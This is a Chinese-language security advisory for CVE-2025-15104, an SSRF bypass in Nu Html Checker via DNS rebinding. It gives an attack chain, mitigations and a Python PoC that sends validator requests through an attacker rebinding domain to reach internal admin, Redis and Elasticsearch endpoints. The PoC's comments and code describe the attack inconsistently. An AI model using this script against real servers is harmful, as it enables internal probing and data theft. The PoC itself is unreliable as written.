IPBUF安全漏洞报告
English
CVE-2025-15104 CVSS 5.3 中危

CVE-2025-15104: Nu Html Checker DNS重绑定绕过SSRF漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-15104
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nu Html Checker (vnu)

相关标签

SSRFDNS重绑定访问控制绕过Nu Html Checkervnuvalidator.nuCVE-2025-15104服务器端请求伪造内网穿透安全绕过

漏洞概述

CVE-2025-15104是Nu Html Checker(validator.nu)中的一个访问控制绕过漏洞。该漏洞允许远程攻击者绕过服务器实现的主机名限制,使服务器向内部资源(包括localhost服务)发起任意HTTP/HTTPS请求。虽然验证器包含了对localhost和127.0.0.1的直接访问阻止机制,但攻击者可以通过DNS重绑定技术或使用解析到回环地址的域名来绕过这些安全限制。此漏洞影响最新版本的Nu Html Checker(截至commit 23f090a11bab8d0d4e698f1ffc197a4fe226a9cd)。攻击者无需任何认证即可利用此漏洞,对目标系统的内部服务造成安全风险,可能导致敏感信息泄露或内部服务被攻击。CVSS 3.1评分为5.3,属于中等严重程度,主要影响机密性。

技术细节

Nu Html Checker在处理HTML验证请求时,会对用户提供的URL进行验证。然而,其安全检查机制存在缺陷,具体表现为:1. 验证器实现了基于主机名的黑名单机制,阻止直接访问localhost、127.0.0.1等回环地址;2. 攻击者利用DNS重绑定技术,在DNS查询过程中将域名从合法IP快速切换到内网IP(如127.0.0.1),从而绕过主机名检查;3. 另一种攻击方式是通过使用解析到回环地址的特殊域名(如在某些DNS配置下可解析到127.0.0.1的域名);4. 一旦绕过成功,攻击者可以强制服务器向内部服务发起请求,包括数据库管理接口、REST API、内部管理面板等;5. 此漏洞的利用无需任何认证,攻击者只需构造特定的验证请求即可触发。攻击者可能利用此漏洞进行内网探测、读取内部服务响应、绕过防火墙访问受限资源等恶意操作。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标网站上运行的Nu Html Checker实例,收集版本信息和端点配置
STEP 2
步骤2: 准备DNS重绑定
攻击者配置DNS重绑定服务,设置域名首次解析到外部IP,后续快速切换到127.0.0.1
STEP 3
步骤3: 绕过主机名检查
攻击者发送包含DNS重绑定域名的HTML验证请求,利用首次解析的外部IP通过主机名黑名单检查
STEP 4
步骤4: DNS缓存过期
当服务器实际发起HTTP请求时,DNS缓存过期,域名解析切换到127.0.0.1
STEP 5
步骤5: 发起内部请求
服务器向localhost或内网IP发起请求,攻击者接收到内部服务的响应数据
STEP 6
步骤6: 数据窃取/横向移动
攻击者利用获取的内部服务信息进行进一步攻击,如访问管理接口、读取敏感配置等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2025-15104 PoC - DNS Rebinding SSRF Bypass # Target: Nu Html Checker (vnu) def exploit_nu_checker_ssrf(target_url, attacker_domain): """ Exploit DNS rebinding to bypass SSRF protections in Nu Html Checker Args: target_url: URL of the vulnerable Nu Html Checker instance attacker_domain: Attacker's DNS rebinding domain """ # Step 1: Set up DNS rebinding domain that first resolves to external IP, # then quickly switches to 127.0.0.1 # This can be done using services like rbndr.us or custom DNS server rebind_domain = f"{attacker_domain}.rbndr.us" # Example DNS rebinding service # Step 2: First request - domain resolves to external IP (passes check) payload = { 'doc': f'http://{rebind_domain}/safe-endpoint' } # Step 3: Rapid second request - DNS cache expires, now resolves to 127.0.0.1 # The validator will now fetch content from localhost internal_targets = [ 'http://127.0.0.1:8080/admin', 'http://localhost:3000/api/config', 'http://127.0.0.1:6379/', # Redis 'http://127.0.0.1:9200/_cluster/health' # Elasticsearch ] for target in internal_targets: payload['doc'] = f'http://{rebind_domain}/redirect?url={target}' try: response = requests.post( f'{target_url}/?out=json', data=payload, timeout=5 ) print(f"Target: {target}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"Error accessing {target}: {e}") if __name__ == "__main__": # Configuration TARGET = "http://validator.example.com" ATTACKER_DOMAIN = "attacker-controlled-domain" exploit_nu_checker_ssrf(TARGET, ATTACKER_DOMAIN)

影响范围

Nu Html Checker (vnu) < latest (commit 23f090a11bab8d0d4e698f1ffc197a4fe226a9cd)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在验证服务前端部署严格的防火墙规则,阻止对内网地址段的访问;2) 实施DNS查询验证,确保域名解析结果符合预期;3) 限制验证服务的网络访问权限,仅允许访问必要的外部资源;4) 监控异常请求模式,及时发现潜在的SSRF攻击行为;5) 考虑使用沙箱环境运行验证服务,限制其系统访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表